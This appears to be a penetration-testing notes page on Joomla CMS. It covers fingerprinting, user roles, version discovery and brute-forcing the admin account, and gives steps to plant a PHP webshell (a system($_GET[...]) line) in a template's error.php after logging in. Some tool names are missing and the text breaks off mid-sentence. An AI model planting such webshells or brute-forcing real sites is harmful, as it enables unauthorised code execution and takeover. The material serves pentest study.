Joomla
Last updated
Was this helpful?
Last updated
Was this helpful?
Joomla is commonly used with PHP
and MySQL
(similar to ) and can be identified by its browser's favicon (Figure 1).
Super Users
/Administrator
Access to administrative features (adding, deleting users and posts, editing source code)
Administrator
Admin functions except global options
Manager
Content creation and backend system info
In certain installs, we may be able to discover the version from JavaScript files:
Joomla 3.2 stable release bought 2FA as part of the core install which adds another challenge to brute-forcing an account. But it isn't enabled by default.
Log in with the obtained credentials at /administrator
.
Navigate to Templates
and choose one.
Click on a page, such as error.php
, to pull up the source code.
Add a PHP webshell, such as system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
.
Click Save & Close
.
Connect to the webshell for code execution.
Fuzzing can be used for further directory, plugin, and theme enumeration ().
is a plugin-based scanner designed mostly for SilverStripe, WordPress, and Drupal, but it has some functionality for Joomla and Moodle as well.
The default administrator account is admin
and the password is set at install time. We can use to brute force for credentials:
| | |
There is a